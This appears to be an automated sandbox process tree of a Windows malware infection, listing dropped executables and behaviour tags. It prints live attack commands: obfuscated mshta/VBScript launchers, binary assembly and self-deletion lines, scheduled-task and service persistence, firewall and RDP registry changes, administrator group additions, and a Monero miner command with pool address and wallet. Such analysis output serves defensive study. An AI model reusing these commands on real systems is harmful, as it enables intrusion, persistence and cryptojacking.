C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\X_SBZP5sxufZQk3OLhF8lPwS.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\X_SBZP5sxufZQk3OLhF8lPwS.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\X_SBZP5sxufZQk3OLhF8lPwS.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\X_SBZP5sxufZQk3OLhF8lPwS.exe" ) do taskkill -im "%~NxK" -F8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -im "X_SBZP5sxufZQk3OLhF8lPwS.exe" -F9⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\ffskZYr_cWNnRFcTcHnN5XZN.exe"C:\Users\Admin\Pictures\Adobe Films\ffskZYr_cWNnRFcTcHnN5XZN.exe"6⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\ffskZYr_cWNnRFcTcHnN5XZN.exe"C:\Users\Admin\Pictures\Adobe Films\ffskZYr_cWNnRFcTcHnN5XZN.exe"7⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue137fdfa416e28ff.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue137fdfa416e28ff.exeTue137fdfa416e28ff.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\70881.exe"C:\Users\Admin\AppData\Roaming\70881.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\6502571.exe"C:\Users\Admin\AppData\Roaming\6502571.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\5777262.exe"C:\Users\Admin\AppData\Roaming\5777262.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\8571435.exe"C:\Users\Admin\AppData\Roaming\8571435.exe"6⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\5659930.exe"C:\Users\Admin\AppData\Roaming\5659930.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue13a3eaad6ca1da2.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue13a3eaad6ca1da2.exeTue13a3eaad6ca1da2.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue13a3eaad6ca1da2.exeC:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue13a3eaad6ca1da2.exe6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\mminer.exe"C:\Users\Admin\AppData\Local\Temp\mminer.exe"7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue13bd9cb08d6.exe /mixone4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue13743175c95e24e0.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue136037e6ffe49ce8.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue13a98da3f882e5.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-5T5CA.tmp\Tue136037e6ffe49ce8.tmp"C:\Users\Admin\AppData\Local\Temp\is-5T5CA.tmp\Tue136037e6ffe49ce8.tmp" /SL5="$60086,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue136037e6ffe49ce8.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue136037e6ffe49ce8.exe"C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue136037e6ffe49ce8.exe" /SILENT2⤵
-
C:\Users\Admin\AppData\Local\Temp\is-FG12P.tmp\Tue136037e6ffe49ce8.tmp"C:\Users\Admin\AppData\Local\Temp\is-FG12P.tmp\Tue136037e6ffe49ce8.tmp" /SL5="$2030A,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue136037e6ffe49ce8.exe" /SILENT3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-D2TQK.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-D2TQK.tmp\postback.exe" ss14⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue13743175c95e24e0.exeTue13743175c95e24e0.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"3⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\BCleanSoft82.exe"C:\Users\Admin\AppData\Local\Temp\BCleanSoft82.exe"3⤵
-
C:\ProgramData\6003840.exe"C:\ProgramData\6003840.exe"4⤵
-
C:\ProgramData\5074095.exe"C:\ProgramData\5074095.exe"4⤵
- Suspicious behavior: SetClipboardViewer
-
C:\ProgramData\1017834.exe"C:\ProgramData\1017834.exe"4⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\ProgramData\2512705.exe"C:\ProgramData\2512705.exe"4⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\ProgramData\2144316.exe"C:\ProgramData\2144316.exe"4⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"3⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\4.exe"C:\Users\Admin\AppData\Local\Temp\4.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"4⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"5⤵
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30006⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\5.exe"C:\Users\Admin\AppData\Local\Temp\5.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"4⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"5⤵
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30006⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"3⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-7K6D8.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-7K6D8.tmp\setup.tmp" /SL5="$20390,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT5⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-GAOGQ.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-GAOGQ.tmp\setup.tmp" /SL5="$801EA,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT6⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-34A62.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-34A62.tmp\postback.exe" ss17⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"3⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\8.exe"C:\Users\Admin\AppData\Local\Temp\8.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'5⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit5⤵
- Blocklisted process makes network request
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'6⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"5⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue136037e6ffe49ce8.exeTue136037e6ffe49ce8.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue13bd9cb08d6.exeTue13bd9cb08d6.exe /mixone1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Tue13bd9cb08d6.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue13bd9cb08d6.exe" & exit2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Tue13bd9cb08d6.exe" /f3⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCRIpt: CloSE ( CReaTeOBJEcT ( "WscRiPT.SHEll" ). rUn ( "C:\Windows\system32\cmd.exe /r tyPe ""C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue13bbed6e0bb6.exe"" > 7DLAd.ExE && start 7DLAd.exE /pQoSkdkR0zB4x3ysnvq6jrFRpAvzHo & if """" == """" for %v In ( ""C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue13bbed6e0bb6.exe"" ) do taskkill -iM ""%~nXv"" /F " , 0, truE ) )1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /r tyPe "C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue13bbed6e0bb6.exe" > 7DLAd.ExE && start 7DLAd.exE /pQoSkdkR0zB4x3ysnvq6jrFRpAvzHo & if "" == "" for %v In ( "C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue13bbed6e0bb6.exe" ) do taskkill -iM "%~nXv" /F2⤵
-
C:\Users\Admin\AppData\Local\Temp\7DLAd.ExE7DLAd.exE /pQoSkdkR0zB4x3ysnvq6jrFRpAvzHo3⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCRIpt: CloSE ( CReaTeOBJEcT ( "WscRiPT.SHEll" ). rUn ( "C:\Windows\system32\cmd.exe /r tyPe ""C:\Users\Admin\AppData\Local\Temp\7DLAd.ExE"" > 7DLAd.ExE && start 7DLAd.exE /pQoSkdkR0zB4x3ysnvq6jrFRpAvzHo & if ""/pQoSkdkR0zB4x3ysnvq6jrFRpAvzHo "" == """" for %v In ( ""C:\Users\Admin\AppData\Local\Temp\7DLAd.ExE"" ) do taskkill -iM ""%~nXv"" /F " , 0, truE ) )4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /r tyPe "C:\Users\Admin\AppData\Local\Temp\7DLAd.ExE" > 7DLAd.ExE && start 7DLAd.exE /pQoSkdkR0zB4x3ysnvq6jrFRpAvzHo & if "/pQoSkdkR0zB4x3ysnvq6jrFRpAvzHo " == "" for %v In ( "C:\Users\Admin\AppData\Local\Temp\7DLAd.ExE" ) do taskkill -iM "%~nXv" /F5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbSCrIpT: clOsE ( CReaTeobJecT ( "wscRIPT.sHELl" ). ruN ( "CmD /q /r Echo | set /p = ""MZ"" > jo4H.q&COPy /B /Y JO4H.Q + XnY7kB~A.WCr +487fXM.V + CHBTE0X.Zm + oD_N_P5.BfY LeJ9.uX & stArT msiexec.exe /y .\LEJ9.uX " , 0 , TRue ) )4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /r Echo | set /p = "MZ" > jo4H.q&COPy /B /Y JO4H.Q + XnY7kB~A.WCr +487fXM.V + CHBTE0X.Zm + oD_N_P5.BfY LeJ9.uX & stArT msiexec.exe /y .\LEJ9.uX5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Echo "6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" set /p = "MZ" 1>jo4H.q"6⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe /y .\LEJ9.uX6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -iM "Tue13bbed6e0bb6.exe" /F3⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue13a98da3f882e5.exeTue13a98da3f882e5.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
- Modifies registry class
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\1F0B.exeC:\Users\Admin\AppData\Local\Temp\1F0B.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\1F0B.exeC:\Users\Admin\AppData\Local\Temp\1F0B.exe2⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\657B.exeC:\Users\Admin\AppData\Local\Temp\657B.exe1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\lqsszzxg\2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\yqipofqx.exe" C:\Windows\SysWOW64\lqsszzxg\2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" create lqsszzxg binPath= "C:\Windows\SysWOW64\lqsszzxg\yqipofqx.exe /d\"C:\Users\Admin\AppData\Local\Temp\657B.exe\"" type= own start= auto DisplayName= "wifi support"2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" description lqsszzxg "wifi internet conection"2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start lqsszzxg2⤵
-
C:\Users\Admin\zsnzdsd.exe"C:\Users\Admin\zsnzdsd.exe" /d"C:\Users\Admin\AppData\Local\Temp\657B.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ekfiraav.exe" C:\Windows\SysWOW64\lqsszzxg\3⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" config lqsszzxg binPath= "C:\Windows\SysWOW64\lqsszzxg\ekfiraav.exe /d\"C:\Users\Admin\zsnzdsd.exe\""3⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start lqsszzxg3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6204.bat" "3⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul3⤵
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul2⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 1D9ED9D0D66169D6B1B1908A34A6ED46 C2⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 01657CDACC262A392CBAA029218FD2112⤵
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding FD16D82068A184B1DA4840563BE6D2A9 E Global\MSI00002⤵
-
C:\Users\Admin\AppData\Local\Temp\3C74.exeC:\Users\Admin\AppData\Local\Temp\3C74.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\3C74.exe"C:\Users\Admin\AppData\Local\Temp\3C74.exe"2⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Users\Admin\AppData\Local\Temp\A53C.exeC:\Users\Admin\AppData\Local\Temp\A53C.exe1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\azmxco1b\azmxco1b.cmdline"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD8A6.tmp" "c:\Users\Admin\AppData\Local\Temp\azmxco1b\CSCF5B0BDA2D88C4771A75D35A9B23895.TMP"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Blocklisted process makes network request
- Loads dropped DLL
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
- Loads dropped DLL
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
-
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
-
C:\Windows\system32\net.exenet start rdpdr5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵
-
C:\Windows\system32\cmd.execmd /c net start TermService4⤵
- Checks SCSI registry key(s)
-
C:\Windows\system32\net.exenet start TermService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Users\Admin\AppData\Local\Temp\C836.exeC:\Users\Admin\AppData\Local\Temp\C836.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\D4D9.exeC:\Users\Admin\AppData\Local\Temp\D4D9.exe1⤵
-
C:\Users\Admin\Desktop\CrowdInspect.exe"C:\Users\Admin\Desktop\CrowdInspect.exe"1⤵
-
C:\Users\Admin\Desktop\CrowdInspect64.exe"C:\Users\Admin\Desktop\CrowdInspect64.exe"1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Users\Admin\AppData\Local\Temp\E754.exeC:\Users\Admin\AppData\Local\Temp\E754.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\397C.exeC:\Users\Admin\AppData\Local\Temp\397C.exe1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Users\Admin\AppData\Local\Temp\7609.exeC:\Users\Admin\AppData\Local\Temp\7609.exe1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\8ADA.exeC:\Users\Admin\AppData\Local\Temp\8ADA.exe1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 8ADA.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\8ADA.exe" & del C:\ProgramData\*.dll & exit2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 8ADA.exe /f3⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 63⤵
- Delays execution with timeout.exe
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Users\Admin\AppData\Local\Temp\D13B.exeC:\Users\Admin\AppData\Local\Temp\D13B.exe1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
